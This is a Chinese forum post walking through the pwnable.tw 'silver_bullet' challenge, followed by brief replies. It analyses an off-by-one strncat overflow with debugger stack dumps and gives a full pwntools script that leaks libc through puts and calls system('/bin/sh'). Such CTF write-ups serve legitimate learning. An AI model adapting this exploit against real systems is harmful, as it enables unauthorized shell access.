dreamingctf 发表于 2022-3-23 21:35

pwnable.tw - silver_bullet - offbyone

利用 offbyone,可以处理数组或者字符串最后一个字节的问题
一般也就是最后的 \n 或者 \t 或者 \x00 的问题

checksec silver_bullet
    Arch:   i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

先分析函数功能,create_bulet、power_up、beat 这三个
int __cdecl create_bullet(char *s){
printf("Give me your description of bullet :");
read_input(s, 0x30u);
v2 = strlen(s);
}
只能生成一次角色

int __cdecl power_up(char *dest){
if ( !*dest )
   return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 47u )
    return puts("You can't power up any more !");
    printf("Give me your another description of bullet :");
    read_input(s, 48 - *((_DWORD *)dest + 12));
    strncat(dest, s, 48 - *((_DWORD *)dest + 12));
}
这里的大于 47 的判断就觉得很奇怪,而且还有长度 48 和相加相减的运算,猜想:边界值 47 的时候,会发生奇奇怪怪的问题



int __cdecl beat(int a1, int a2){

*(_DWORD *)a2 -= *(_DWORD *)(a1 + 0x30);
    if ( *(int *)a2 <= 0 )
    {
      puts("Oh ! You win !!");
      result = 1;
    }
    else
    {
      puts("Sorry ... It still alive !!");
      result = 0;
}
}
Beat 函数呢,就是要自己的 HP 大于 wolf 的 HP,如果大于了,就从 main 函数正常 return 0 退出了

从函数逻辑看:存在某种方式,使得自己的 HP 可以绕过 48 的限制,达到特别大(大于0x7fffffff),从而退出main;由于本题是 x86,又没开栈保护,从而猜想是用 system 覆盖 main 的返回地址,从而完成提权

以下是相关的调试记录

pwndbg> stack 40
00:0000│ esp 0xffffcfec ◂— 0x0
01:0004│   0xffffcff0 ◂— 0xa /* '\n' */
02:0008│   0xffffcff4 ◂— 0x0
03:000c│   0xffffcff8 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
04:0010│   0xffffcffc —▸ 0x8048656 (read_int+19) ◂— add    esp, 0xc
05:0014│   0xffffd000 ◂— 0x0
06:0018│   0xffffd004 —▸ 0x804867f (read_int+60) ◂— add    esp, 4
07:001c│   0xffffd008 —▸ 0xffffd00c ◂— 0xa32 /* '2\n' */
08:0020│   0xffffd00c ◂— 0xa32 /* '2\n' */
09:0024│   0xffffd010 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0a:0028│   0xffffd014 ◂— 0x0
0b:002c│   0xffffd018 —▸ 0xf7e2b525 (printf+5) ◂— add    eax, 0x186adb
0c:0030│   0xffffd01c ◂— 0x2
0d:0034│ ebp 0xffffd020 —▸ 0xffffd068 ◂— 0x0
0e:0038│   0xffffd024 —▸ 0x80489c2 (main+110) ◂— add    esp, 4
0f:003c│   0xffffd028 —▸ 0xffffd034 ◂— 0x0
10:0040│   0xffffd02c ◂— 0x7fffffff
11:0044│   0xffffd030 —▸ 0x8048d06 ◂— inc    edi /* 'Gin' */
12:0048│ eax 0xffffd034 ◂— 0x0
... ↓      13 skipped
20:0080│   0xffffd06c —▸ 0xf7df2fa1 (__libc_start_main+241) ◂— add    esp, 0x10
21:0084│   0xffffd070 ◂— 0x1
22:0088│   0xffffd074 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
23:008c│   0xffffd078 —▸ 0xffffd10c —▸ 0xffffd2ed ◂— 'CLUTTER_IM_MODULE=xim'
24:0090│   0xffffd07c —▸ 0xffffd094 ◂— 0x0
25:0094│   0xffffd080 ◂— 0x1
26:0098│   0xffffd084 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│   0xffffd088 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c

在 2 这个功能里,猜想要做的事是覆盖到
20:0080│   0xffffd06c —▸ 0xf7df2fa1 (__libc_start_main+241) ◂— add    esp, 0x10


到达这种状态的输入顺序
47 * "A" -> "AB"

pwndbg> stack 40
00:0000│ esp 0xffffcfec ◂— 0x0
01:0004│   0xffffcff0 ◂— 0xa /* '\n' */
02:0008│   0xffffcff4 ◂— 0x0
03:000c│   0xffffcff8 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
04:0010│   0xffffcffc —▸ 0x8048656 (read_int+19) ◂— add    esp, 0xc
05:0014│   0xffffd000 ◂— 0x0
06:0018│   0xffffd004 —▸ 0x804867f (read_int+60) ◂— add    esp, 4
07:001c│   0xffffd008 —▸ 0xffffd00c ◂— 0xa32 /* '2\n' */
08:0020│   0xffffd00c ◂— 0xa32 /* '2\n' */
09:0024│   0xffffd010 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0a:0028│   0xffffd014 ◂— 0x0
0b:002c│   0xffffd018 —▸ 0xf7e2b525 (printf+5) ◂— add    eax, 0x186adb
0c:0030│   0xffffd01c ◂— 0x2
0d:0034│ ebp 0xffffd020 —▸ 0xffffd068 ◂— 0x0
0e:0038│   0xffffd024 —▸ 0x80489c2 (main+110) ◂— add    esp, 4
0f:003c│   0xffffd028 —▸ 0xffffd034 ◂— 0x34333231 ('1234')
10:0040│   0xffffd02c ◂— 0x7fffffff
11:0044│   0xffffd030 —▸ 0x8048d06 ◂— inc    edi /* 'Gin' */
12:0048│ eax 0xffffd034 ◂— 0x34333231 ('1234')
... ↓      10 skipped
1d:0074│   0xffffd060 ◂— 0x41333231 ('123A')
1e:0078│   0xffffd064 ◂— 0x1
1f:007c│   0xffffd068 ◂— 0x0
20:0080│   0xffffd06c —▸ 0xf7df2fa1 (__libc_start_main+241) ◂— add    esp, 0x10
21:0084│   0xffffd070 ◂— 0x1
22:0088│   0xffffd074 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
23:008c│   0xffffd078 —▸ 0xffffd10c —▸ 0xffffd2ed ◂— 'CLUTTER_IM_MODULE=xim'
24:0090│   0xffffd07c —▸ 0xffffd094 ◂— 0x0
25:0094│   0xffffd080 ◂— 0x1
26:0098│   0xffffd084 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│   0xffffd088 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c


ABCDEFGHabcdefgh12345678
pwndbg> stack 40
00:0000│ esp 0xffffcfec ◂— 0x0
01:0004│   0xffffcff0 ◂— 0xa /* '\n' */
02:0008│   0xffffcff4 ◂— 0x0
03:000c│   0xffffcff8 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
04:0010│   0xffffcffc —▸ 0x8048656 (read_int+19) ◂— add    esp, 0xc
05:0014│   0xffffd000 ◂— 0x0
06:0018│   0xffffd004 —▸ 0x804867f (read_int+60) ◂— add    esp, 4
07:001c│   0xffffd008 —▸ 0xffffd00c ◂— 0xa32 /* '2\n' */
08:0020│   0xffffd00c ◂— 0xa32 /* '2\n' */
09:0024│   0xffffd010 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0a:0028│   0xffffd014 ◂— 0x0
0b:002c│   0xffffd018 —▸ 0xf7e2b525 (printf+5) ◂— add    eax, 0x186adb
0c:0030│   0xffffd01c ◂— 0x2
0d:0034│ ebp 0xffffd020 —▸ 0xffffd068 ◂— 'DEFGHabcdefgh12345678'
0e:0038│   0xffffd024 —▸ 0x80489c2 (main+110) ◂— add    esp, 4
0f:003c│   0xffffd028 —▸ 0xffffd034 ◂— 0x34333231 ('1234')
10:0040│   0xffffd02c ◂— 0x7fffffff
11:0044│   0xffffd030 —▸ 0x8048d06 ◂— inc    edi /* 'Gin' */
12:0048│ eax 0xffffd034 ◂— 0x34333231 ('1234')
... ↓      10 skipped
1d:0074│   0xffffd060 ◂— 0x41333231 ('123A')
1e:0078│   0xffffd064 ◂— 0x43424119
1f:007c│   0xffffd068 ◂— 'DEFGHabcdefgh12345678'
20:0080│   0xffffd06c ◂— 'Habcdefgh12345678'
21:0084│   0xffffd070 ◂— 'defgh12345678'
22:0088│   0xffffd074 ◂— 'h12345678'
23:008c│   0xffffd078 ◂— '45678'
24:0090│   0xffffd07c —▸ 0xffff0038 ◂— 0x0
25:0094│   0xffffd080 ◂— 0x1
26:0098│   0xffffd084 —▸ 0xffffd104 —▸ 0xffffd2c0 ◂— '/home/ubuntu/Desktop/tw/bullet/silver_bullet'
27:009c│   0xffffd088 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
可以看到,返回地址已经被覆盖成了

20:0080│   0xffffd06c ◂— 'Habcdefgh12345678'
想要跳出 main,需要达到 beat 这个条件

这是使用暴力命令修改的

set *0xff86b6b4=0xFFFFFFFF

我们其实需要控制其第一个字节为 0xF0即可,然后就可以 ret2libc 了
那就是构造一个很大的数就好了,比如说这个:3284124464


这样就实现了 HP 的绕过
但问题是,我们这样没有泄露出可用的地址,导致无法算出 system 和 "/bin/sh" 的地址
于是,应该让 Create 和 PowerUp 配合得更好一些,利用 ROP,使得程序在泄露程序之后继续返回 main 执行,从而又有相同漏洞利用,才可以有 system 函数的运行机会

细节问题

解决方案:更新 pwntools:sudo pip install --upgrade pwntools


结果记录
$ find . -name flag
Sent 0x12 bytes:
    b'find . -name flag\n'
Received 0x1a bytes:
    b'./home/silver_bullet/flag\n'
./home/silver_bullet/flag

exp如下
from pwn import *

debug = 0
online = 1

context(log_level = "debug", arch = 'i386', os = "linux")

if online == 0:
    io = process("./silver_bullet")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")

else:
    io = remote("chall.pwnable.tw", 10103)
    libc = ELF("./libc_32.so.6")

rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))

def Create(data):
    ru("choice :")
    sl("1")
    ru("bullet :")
    sl(data)

def PowerUp(data):
    ru("choice :")
    sl("2")
    ru("bullet :")
    sl(data)

def Beat():
    ru("choice :")
    sl("3")

main = 0x8048954
def exp(func, arg):
    Create("A" * 0x20)
    PowerUp("B" * 0x10)
    PowerUp(p32(0x7FFFFFFF) + b"A" * 3 + p32(func) + p32(main) + p32(arg))
    Beat()

elf = ELF("./silver_bullet")
print (hex(elf.got["puts"]))
print (hex(elf.plt["puts"]))
exp(elf.plt['puts'], elf.got['puts'])

ru("win !!\n")
puts_addr = u32(io.recvuntil("\n", drop = True).ljust(4, b"\x00"))
print ("puts_addr", puts_addr)

libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + libc.search(b"/bin/sh").__next__()
exp(system_addr, bin_sh_addr)

io.interactive()


参考链接:
https://www.cnblogs.com/Rookle/p/12884557.html

dreamingctf 发表于 2022-3-31 14:38

tony1990 发表于 2022-3-30 20:50
学习中,也有学习逆向的想法,感觉又要被扼杀在摇篮里了。

先走起来,从 debug HelloWorld 开始,再说坚持下去的事
从 0 到 0.0000001,再从 0.0000001 到 1

matsutei 发表于 2022-3-23 22:44

强啊 ,有用

tony1990 发表于 2022-3-30 20:50

学习中,也有学习逆向的想法,感觉又要被扼杀在摇篮里了。{:1_921:}
页: [1]
查看完整版本: pwnable.tw - silver_bullet - offbyone